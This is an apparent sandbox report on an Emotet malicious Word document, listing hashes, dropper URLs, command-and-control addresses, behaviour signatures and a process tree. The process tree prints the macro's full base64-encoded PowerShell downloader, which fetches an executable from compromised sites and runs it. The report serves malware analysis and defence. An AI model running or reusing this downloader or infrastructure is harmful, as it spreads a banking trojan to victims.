emotet | d20d5bab876240cbf908d60dc4ac87b57258f02fbd9202d50733891f22d29592

General

Target
emotet_e2_d20d5bab876240cbf908d60dc4ac87b57258f02fbd9202d50733891f22d29592_2020-08-26__193158._doc.doc
Size 232KB
Sample200826-ft7cd2lq2e
SHA256 d20d5bab876240cbf908d60dc4ac87b57258f02fbd9202d50733891f22d29592
MD5 fbb88b35b8fd2e806a3420f3fe01c6c8
SHA1 83d6d10314c4c37457321c6c8d3d16c10a774e84
SHA512 ec47f7c3f388e0e3bb5829b18a6c91bbc5a3b028889d3b6589aaea90388c4a76eb9ef408bbfe9968720b75cb8050a7a5e4a96465f972b3b53014bb470f49a25b
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://casaroomz.com/wp-includes/rPG/
exe.dropper
http://necibekulac.com/wp-content/dTl4ul/
exe.dropper
https://www.homeonetechnologies.com/blog/dcy/
exe.dropper
http://todoparaelconfort.com/cgi-bin/wp/
exe.dropper
http://aadarshitibhusawal.org/wp-includes/amI/
exe.dropper
http://digiarmedia.com/wp-admin/8/
exe.dropper
http://avcumda.com/huseyingulgec.com.tr/cO1DS8G/

Extracted

Family

emotet

C2

173.81.218.65:80
45.55.36.51:443
91.83.93.99:7080
45.55.219.163:443
169.239.182.217:8080
24.43.99.75:80
78.24.219.147:8080
95.179.229.244:8080
107.5.122.110:80
47.144.21.12:443
204.197.146.48:80
139.99.158.11:443
190.160.53.126:80
74.120.55.163:80
74.109.108.202:80
47.146.117.214:80
104.236.246.93:8080
174.137.65.18:80
41.60.200.34:80
209.141.54.221:8080
74.208.45.104:8080
137.119.36.33:80
79.98.24.39:8080
97.82.79.83:80
189.212.199.126:443
200.41.121.90:80
5.196.74.210:8080
203.153.216.189:7080
68.171.118.7:80
87.106.136.232:8080
91.211.88.52:7080
98.109.204.230:80
176.111.60.55:8080
84.39.182.7:80
70.121.172.89:80
85.105.205.77:8080
174.102.48.180:443
87.106.139.101:8080
93.147.212.206:80
180.92.239.110:8080
62.30.7.67:443
187.161.206.24:80
153.232.188.106:80
85.152.162.105:80
104.131.11.150:443
24.179.13.119:80
194.187.133.160:443
157.147.76.151:80
46.105.131.79:8080
203.117.253.142:80
185.94.252.104:443
120.150.60.189:80
110.145.77.103:80
69.30.203.214:8080
94.200.114.161:80
75.139.38.211:80
37.139.21.175:8080
61.19.246.238:443
157.245.99.39:8080
167.86.90.214:8080
5.39.91.110:7080
168.235.67.138:7080
173.62.217.22:443
139.59.60.244:8080
93.51.50.171:8080
37.187.72.193:8080
109.74.5.95:8080
68.44.137.144:443
139.130.242.43:80
37.70.8.161:80
1.221.254.82:80
152.168.248.128:443
139.162.108.71:8080
201.173.217.124:443
113.160.130.116:8443
62.75.141.82:80
94.23.237.171:443
121.124.124.40:7080
95.213.236.64:8080
181.230.116.163:80
200.114.213.233:8080
190.55.181.54:443
137.59.187.107:8080
103.86.49.11:8080
24.137.76.62:80
83.169.36.251:8080
104.131.44.150:8080
67.205.85.243:8080
85.66.181.138:80
68.188.112.97:80
112.185.64.233:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1504	488	powersheLL.exe	66

Blacklisted process makes network request 2 IoCs

flow	pid	Process
13	1504	powersheLL.exe
15	1504	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3848	Zlcoy_4.exe
3940	mprapi.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\StorageContextHandler\mprapi.exe	Zlcoy_4.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3816	WINWORD.EXE
3816	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1504	powersheLL.exe
1504	powersheLL.exe
1504	powersheLL.exe
3940	mprapi.exe
3940	mprapi.exe
3940	mprapi.exe
3940	mprapi.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1504	powersheLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1504 wrote to memory of 3848	1504	powersheLL.exe	72
PID 1504 wrote to memory of 3848	1504	powersheLL.exe	72
PID 1504 wrote to memory of 3848	1504	powersheLL.exe	72
PID 3848 wrote to memory of 3940	3848	Zlcoy_4.exe	76
PID 3848 wrote to memory of 3940	3848	Zlcoy_4.exe	76
PID 3848 wrote to memory of 3940	3848	Zlcoy_4.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_d20d5bab876240cbf908d60dc4ac87b57258f02fbd9202d50733891f22d29592_2020-08-26__193158._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3816

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABEAG8AaQA3AHgAagAwAD0AKAAoACcATgAzACcAKwAnAGIAZwAnACkAKwAoACcAcwAnACsAJwBjAHMAJwApACkAOwAuACgAJwBuAGUAdwAnACsAJwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABFAG4AdgA6AFQAZQBtAHAAXABXAE8AUgBEAFwAMgAwADEAOQBcACAALQBpAHQAZQBtAHQAeQBwAGUAIABEAEkAUgBFAGMAdABvAFIAWQA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBFAEMAYABVAFIAYABJAHQAWQBgAFAAYABSAG8AdABPAEMAbwBsACIAIAA9ACAAKAAoACcAdABsAHMAJwArACcAMQAyACcAKQArACgAJwAsACAAJwArACcAdAAnACkAKwAoACcAbABzACcAKwAnADEAMQAsACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAFoAbwBfAGQAcAB1AGgAIAA9ACAAKAAoACcAWgAnACsAJwBsAGMAJwApACsAKAAnAG8AJwArACcAeQBfADQAJwApACkAOwAkAFEANAA4AF8AZABjAHoAPQAoACgAJwBVADcAJwArACcAYQBqACcAKQArACgAJwA2ADcAJwArACcAYwAnACkAKQA7ACQARAAxAGwANgBqAGQAMAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACgAJwAxADUAeAB3ACcAKwAnAG8AJwApACsAJwByAGQAJwArACgAJwAxACcAKwAnADUAeAAyACcAKQArACcAMAAnACsAKAAnADEAOQAxACcAKwAnADUAeAAnACkAKQAuACIAUgBgAEUAcABsAGEAYABDAEUAIgAoACgAWwBjAGgAYQBSAF0ANAA5ACsAWwBjAGgAYQBSAF0ANQAzACsAWwBjAGgAYQBSAF0AMQAyADAAKQAsACcAXAAnACkAKQArACQAWgBvAF8AZABwAHUAaAArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAVABzAGwAcwBjADMAcgA9ACgAKAAnAFgAdAAnACsAJwBlACcAKQArACgAJwBlAHIAJwArACcANQBhACcAKQApADsAJABOADEAYgBoAGQAMAA1AD0AJgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABOAGUAVAAuAHcARQBiAGMATABpAEUAbgBUADsAJABDAHcANAA3AG8AYwBnAD0AKAAnAGgAdAAnACsAJwB0ACcAKwAnAHAAJwArACgAJwA6AC8AJwArACcALwBjACcAKwAnAGEAcwBhACcAKQArACcAcgBvACcAKwAnAG8AJwArACgAJwBtAHoAJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwApACsAJwAvAHcAJwArACgAJwBwACcAKwAnAC0AaQAnACkAKwAnAG4AJwArACgAJwBjACcAKwAnAGwAdQAnACsAJwBkAGUAcwAvAHIAJwApACsAKAAnAFAARwAnACsAJwAvACoAJwArACcAaAB0AHQAJwApACsAJwBwACcAKwAoACcAOgAvAC8AJwArACcAbgAnACkAKwAoACcAZQAnACsAJwBjAGkAYgAnACkAKwAnAGUAJwArACgAJwBrACcAKwAnAHUAbAAnACkAKwAnAGEAJwArACgAJwBjAC4AYwBvAG0AJwArACcALwAnACkAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGMAJwArACcAbwBuAHQAJwApACsAKAAnAGUAJwArACcAbgB0AC8AJwApACsAJwBkAFQAJwArACcAbAAnACsAKAAnADQAJwArACcAdQBsACcAKwAnAC8AKgBoAHQAJwArACcAdAAnACsAJwBwAHMAOgAvAC8AdwB3ACcAKQArACgAJwB3AC4AaABvAG0AZQBvAG4AJwArACcAZQAnACsAJwB0AGUAYwAnACkAKwAnAGgAbgAnACsAKAAnAG8AbAAnACsAJwBvACcAKQArACgAJwBnAGkAJwArACcAZQBzACcAKwAnAC4AYwBvAG0ALwAnACsAJwBiACcAKQArACcAbABvACcAKwAoACcAZwAnACsAJwAvAGQAYwB5ACcAKwAnAC8AKgAnACkAKwAoACcAaAAnACsAJwB0AHQAcAAnACkAKwAoACcAOgAvAC8AJwArACcAdAAnACkAKwAnAG8AZAAnACsAKAAnAG8AcABhACcAKwAnAHIAYQBlAGwAJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBuAGYAJwApACsAKAAnAG8AcgAnACsAJwB0AC4AJwApACsAKAAnAGMAbwBtAC8AYwBnAGkALQAnACsAJwBiACcAKwAnAGkAJwApACsAJwBuACcAKwAoACcALwAnACsAJwB3AHAAJwApACsAJwAvACoAJwArACcAaAB0ACcAKwAnAHQAcAAnACsAJwA6ACcAKwAnAC8AJwArACgAJwAvAGEAYQBkAGEAcgBzAGgAaQAnACsAJwB0AGkAYgBoACcAKwAnAHUAJwArACcAcwAnACkAKwAoACcAYQAnACsAJwB3AGEAbAAnACkAKwAoACcALgBvAHIAZwAvAHcAJwArACcAcAAnACkAKwAnAC0AaQAnACsAJwBuACcAKwAnAGMAJwArACcAbAAnACsAKAAnAHUAZABlACcAKwAnAHMAJwApACsAJwAvACcAKwAoACcAYQAnACsAJwBtAEkAJwApACsAKAAnAC8AJwArACcAKgBoAHQAdABwACcAKwAnADoAJwApACsAJwAvAC8AJwArACgAJwBkACcAKwAnAGkAZwAnACkAKwAnAGkAJwArACgAJwBhAHIAJwArACcAbQBlAGQAaQBhACcAKQArACgAJwAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAnACsAJwAvAHcAcAAnACkAKwAnAC0AYQAnACsAJwBkAG0AJwArACcAaQBuACcAKwAnAC8AJwArACcAOAAvACcAKwAnACoAaAAnACsAJwB0AHQAJwArACcAcAAnACsAKAAnADoALwAnACsAJwAvACcAKQArACgAJwBhAHYAYwAnACsAJwB1ACcAKQArACcAbQBkACcAKwAoACcAYQAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAnACsAJwAvAGgAdQAnACkAKwAnAHMAZQAnACsAKAAnAHkAaQAnACsAJwBuAGcAdQAnACkAKwAoACcAbABnACcAKwAnAGUAJwApACsAKAAnAGMAJwArACcALgBjACcAKQArACcAbwBtACcAKwAoACcALgAnACsAJwB0AHIAJwApACsAJwAvAGMAJwArACgAJwBPADEARABTADgAJwArACcARwAnACsAJwAvACcAKQApAC4AIgBTAFAAYABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFAAaQBpADYAbgAwADEAPQAoACgAJwBCACcAKwAnAHoAcAAnACkAKwAoACcAeABiACcAKwAnAGoAdgAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFgAXwB1AGYAeABkADIAIABpAG4AIAAkAEMAdwA0ADcAbwBjAGcAKQB7AHQAcgB5AHsAJABOADEAYgBoAGQAMAA1AC4AIgBEAGAAbwBXAG4AbABvAGAAQQBEAGAARgBJAGwARQAiACgAJABYAF8AdQBmAHgAZAAyACwAIAAkAEQAMQBsADYAagBkADAAKQA7ACQARwBoAHcAZgB5AGwAMAA9ACgAKAAnAEkAJwArACcAXwBkAHUAJwApACsAJwAwACcAKwAnAHUANwAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQARAAxAGwANgBqAGQAMAApAC4AIgBsAGAAZQBOAGAAZwBUAGgAIgAgAC0AZwBlACAAMwA4ADgAMQA3ACkAIAB7ACYAKAAnAEkAbgB2AG8AawAnACsAJwBlAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAEQAMQBsADYAagBkADAAKQA7ACQAWAB5AHcAeABpAHMANAA9ACgAKAAnAFcAcABuAG4AJwArACcANgAnACkAKwAnADYAeQAnACkAOwBiAHIAZQBhAGsAOwAkAEEANwBqAGgANwByAGwAPQAoACcASgB0ACcAKwAoACcAbgA3AGYAJwArACcAcgBzACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABNADQAZgB3ADAAcgBfAD0AKAAnAFYAJwArACgAJwBtADQANwB2ACcAKwAnAHMAcgAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1504
- C:\Users\Admin\AppData\Local\Temp\word\2019\Zlcoy_4.exe
  "C:\Users\Admin\AppData\Local\Temp\word\2019\Zlcoy_4.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:3848
- - C:\Windows\SysWOW64\StorageContextHandler\mprapi.exe
    "C:\Windows\SysWOW64\StorageContextHandler\mprapi.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3940

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1504-9-0x00007FF8BBA20000-0x00007FF8BC40C000-memory.dmp

Download

memory/1504-10-0x0000024F60510000-0x0000024F60511000-memory.dmp

Download

memory/1504-11-0x0000024F606C0000-0x0000024F606C1000-memory.dmp

Download

memory/3816-0-0x00007FF8C91B0000-0x00007FF8C9876000-memory.dmp

Download

memory/3816-4-0x000002AC6200A000-0x000002AC6200F000-memory.dmp

Download

memory/3848-15-0x00000000006C0000-0x00000000006CC000-memory.dmp

Download

memory/3940-18-0x0000000000680000-0x000000000068C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads